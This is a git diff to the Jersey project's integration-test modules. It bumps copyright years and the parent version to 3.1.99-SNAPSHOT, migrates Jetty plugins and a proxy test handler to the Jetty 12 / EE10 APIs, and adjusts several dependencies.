diff --git a/tests/integration/cdi-integration/context-inject-on-server/pom.xml b/tests/integration/cdi-integration/context-inject-on-server/pom.xml index 85b8d7f..a249be7 100644 --- a/tests/integration/cdi-integration/context-inject-on-server/pom.xml +++ b/tests/integration/cdi-integration/context-inject-on-server/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>context-inject-on-server</artifactId> @@ -49,7 +49,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml index 5dac7d8..68bbf66 100644 --- a/tests/integration/cdi-integration/gf-cdi-inject/pom.xml +++ b/tests/integration/cdi-integration/gf-cdi-inject/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>gf-cdi-inject-on-server</artifactId> @@ -31,7 +31,7 @@ <description>Embedded GF tests @Inject</description> <properties> - <glassfish.home>${project.build.directory}/glassfish6</glassfish.home> + <glassfish.home>${project.build.directory}/glassfish7</glassfish.home> <modules.dir>${glassfish.home}/glassfish/modules</modules.dir> <glassfish.container.version>${gf.impl.version}</glassfish.container.version> </properties> @@ -79,6 +79,11 @@ <groupId>org.glassfish.jersey.core</groupId> <artifactId>jersey-server</artifactId> </dependency> + + <dependency> + <groupId>jakarta.activation</groupId> + <artifactId>jakarta.activation-api</artifactId> + </dependency> </dependencies> <build>
diff --git a/tests/integration/cdi-integration/pom.xml b/tests/integration/cdi-integration/pom.xml index b054f69..9da5b7a 100644 --- a/tests/integration/cdi-integration/pom.xml +++ b/tests/integration/cdi-integration/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <packaging>pom</packaging> @@ -66,7 +66,7 @@ <profile> <id>gf-inject</id> <activation> - <jdk>[11,)</jdk> + <jdk>[11,24)</jdk> </activation> <modules> <module>gf-cdi-inject</module>
diff --git a/tests/integration/client-connector-provider/pom.xml b/tests/integration/client-connector-provider/pom.xml index 01bb35d..c485a64 100644 --- a/tests/integration/client-connector-provider/pom.xml +++ b/tests/integration/client-connector-provider/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>client-connector-provider</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/ear/pom.xml b/tests/integration/ejb-multimodule-reload/ear/pom.xml index 289b4ea..1932ba4 100644 --- a/tests/integration/ejb-multimodule-reload/ear/pom.xml +++ b/tests/integration/ejb-multimodule-reload/ear/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule-reload/lib/pom.xml b/tests/integration/ejb-multimodule-reload/lib/pom.xml index 54c38fd..1a9c4c0 100644 --- a/tests/integration/ejb-multimodule-reload/lib/pom.xml +++ b/tests/integration/ejb-multimodule-reload/lib/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule-reload/pom.xml b/tests/integration/ejb-multimodule-reload/pom.xml index af1c57a..8028e76 100644 --- a/tests/integration/ejb-multimodule-reload/pom.xml +++ b/tests/integration/ejb-multimodule-reload/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>ejb-multimodule-reload</artifactId>
diff --git a/tests/integration/ejb-multimodule-reload/war1/pom.xml b/tests/integration/ejb-multimodule-reload/war1/pom.xml index c197c92..e0ff265 100644 --- a/tests/integration/ejb-multimodule-reload/war1/pom.xml +++ b/tests/integration/ejb-multimodule-reload/war1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule-reload/war2/pom.xml b/tests/integration/ejb-multimodule-reload/war2/pom.xml index c0febb1..13f4fd9 100644 --- a/tests/integration/ejb-multimodule-reload/war2/pom.xml +++ b/tests/integration/ejb-multimodule-reload/war2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule/ear/pom.xml b/tests/integration/ejb-multimodule/ear/pom.xml index ad6fa1e..17bd05c 100644 --- a/tests/integration/ejb-multimodule/ear/pom.xml +++ b/tests/integration/ejb-multimodule/ear/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule/lib/pom.xml b/tests/integration/ejb-multimodule/lib/pom.xml index 9a4e53e..7c63d59 100644 --- a/tests/integration/ejb-multimodule/lib/pom.xml +++ b/tests/integration/ejb-multimodule/lib/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-multimodule/pom.xml b/tests/integration/ejb-multimodule/pom.xml index e8c321d..2c3a067 100644 --- a/tests/integration/ejb-multimodule/pom.xml +++ b/tests/integration/ejb-multimodule/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>ejb-multimodule</artifactId>
diff --git a/tests/integration/ejb-multimodule/war/pom.xml b/tests/integration/ejb-multimodule/war/pom.xml index 47a54b7..fd8f593 100644 --- a/tests/integration/ejb-multimodule/war/pom.xml +++ b/tests/integration/ejb-multimodule/war/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/ejb-test-webapp/pom.xml b/tests/integration/ejb-test-webapp/pom.xml index be9285c..8ed4d7c 100644 --- a/tests/integration/ejb-test-webapp/pom.xml +++ b/tests/integration/ejb-test-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>ejb-test-webapp</artifactId> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/tests/integration/externalproperties/pom.xml b/tests/integration/externalproperties/pom.xml index 58bb379..aecca1a 100644 --- a/tests/integration/externalproperties/pom.xml +++ b/tests/integration/externalproperties/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>externalproperties</artifactId>
diff --git a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java index c6ecc29..84edb0f 100644 --- a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java +++ b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
@@ -16,9 +16,10 @@ package org.glassfish.jersey.tests.externalproperties; +import org.eclipse.jetty.server.Handler; import org.eclipse.jetty.server.Request; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.handler.AbstractHandler; +import org.eclipse.jetty.util.Callback; import org.glassfish.jersey.ExternalProperties; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; @@ -30,8 +31,6 @@ import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.core.Application; @@ -99,15 +98,13 @@ Assertions.assertFalse(proxyHit); } - class ProxyHandler extends AbstractHandler { + class ProxyHandler extends Handler.Abstract { @Override - public void handle(String target, - Request baseRequest, - HttpServletRequest request, - HttpServletResponse response) { + public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception { proxyHit = true; response.setStatus(407); - baseRequest.setHandled(true); + callback.succeeded(); + return true; } ProxyHandler(boolean pProxyHit) { @@ -117,4 +114,3 @@ } } -
diff --git a/tests/integration/j-376/pom.xml b/tests/integration/j-376/pom.xml index 9fc2774..6847cbc 100644 --- a/tests/integration/j-376/pom.xml +++ b/tests/integration/j-376/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>j-376</artifactId> @@ -75,9 +75,21 @@ <dependency> <groupId>org.jboss.weld.se</groupId> <artifactId>weld-se-core</artifactId> + <exclusions> + <exclusion> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + </exclusion> + </exclusions> <scope>compile</scope> </dependency> <dependency> + <groupId>org.jboss.logging</groupId> + <artifactId>jboss-logging</artifactId> + <version>${jboss.logging.version}</version> + <scope>provided</scope> + </dependency> + <dependency> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>jersey-cdi1x</artifactId> <version>${project.version}</version>
diff --git a/tests/integration/j-441/ear/pom.xml b/tests/integration/j-441/ear/pom.xml index 6250fbe..380bdd1 100644 --- a/tests/integration/j-441/ear/pom.xml +++ b/tests/integration/j-441/ear/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> <artifactId>j-441-ear</artifactId>
diff --git a/tests/integration/j-441/pom.xml b/tests/integration/j-441/pom.xml index 972a4c1..8b82637 100644 --- a/tests/integration/j-441/pom.xml +++ b/tests/integration/j-441/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>j-441</artifactId>
diff --git a/tests/integration/j-441/war1/pom.xml b/tests/integration/j-441/war1/pom.xml index 3988f06..a938cde 100644 --- a/tests/integration/j-441/war1/pom.xml +++ b/tests/integration/j-441/war1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> @@ -42,7 +42,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/tests/integration/j-441/war2/pom.xml b/tests/integration/j-441/war2/pom.xml index a670bcc..9a42ac4 100644 --- a/tests/integration/j-441/war2/pom.xml +++ b/tests/integration/j-441/war2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> @@ -42,7 +42,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/tests/integration/j-59/ear/pom.xml b/tests/integration/j-59/ear/pom.xml index 143fdc0..87dd0c4 100644 --- a/tests/integration/j-59/ear/pom.xml +++ b/tests/integration/j-59/ear/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/j-59/lib/pom.xml b/tests/integration/j-59/lib/pom.xml index 1021639..556389e 100644 --- a/tests/integration/j-59/lib/pom.xml +++ b/tests/integration/j-59/lib/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/j-59/pom.xml b/tests/integration/j-59/pom.xml index 8f10570..45ab27c 100644 --- a/tests/integration/j-59/pom.xml +++ b/tests/integration/j-59/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>j-59</artifactId>
diff --git a/tests/integration/j-59/war/pom.xml b/tests/integration/j-59/war/pom.xml index 6336bd3..1b5187a 100644 --- a/tests/integration/j-59/war/pom.xml +++ b/tests/integration/j-59/war/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> @@ -65,6 +65,11 @@ <artifactId>hamcrest</artifactId> <scope>test</scope> </dependency> + <dependency> + <groupId>jakarta.jws</groupId> + <artifactId>jakarta.jws-api</artifactId> + <version>1.1.1</version> + </dependency> </dependencies> <build> @@ -96,22 +101,6 @@ </plugins> </build> - <profiles> - <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <dependencies> - <dependency> - <groupId>jakarta.jws</groupId> - <artifactId>jakarta.jws-api</artifactId> - <version>1.1.1</version> - </dependency> - </dependencies> - </profile> - </profiles> - <properties> <failOnMissingWebXml>false</failOnMissingWebXml> <skipTests>true</skipTests>
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml index 5a3a8dc..e1eb1d4 100644 --- a/tests/integration/jackson-14/pom.xml +++ b/tests/integration/jackson-14/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml index 217752a..9ad772f 100644 --- a/tests/integration/jaxrs-component-inject/pom.xml +++ b/tests/integration/jaxrs-component-inject/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jaxrs-component-inject</artifactId> @@ -54,8 +54,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml index e9f49dd..41b5303 100644 --- a/tests/integration/jersey-1107/pom.xml +++ b/tests/integration/jersey-1107/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-1107</artifactId> @@ -56,8 +56,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml index 50f517f..6e9d68d 100644 --- a/tests/integration/jersey-1223/pom.xml +++ b/tests/integration/jersey-1223/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>jersey-1223</artifactId> @@ -58,8 +58,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml index 6046f62..881c328 100644 --- a/tests/integration/jersey-1604/pom.xml +++ b/tests/integration/jersey-1604/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>jersey-1604</artifactId> @@ -61,8 +61,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml index 278c698..ceba798 100644 --- a/tests/integration/jersey-1667/pom.xml +++ b/tests/integration/jersey-1667/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-1667</artifactId> @@ -60,8 +60,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/jersey-1883/pom.xml b/tests/integration/jersey-1883/pom.xml index b06b1c1..a9af9cc 100644 --- a/tests/integration/jersey-1883/pom.xml +++ b/tests/integration/jersey-1883/pom.xml
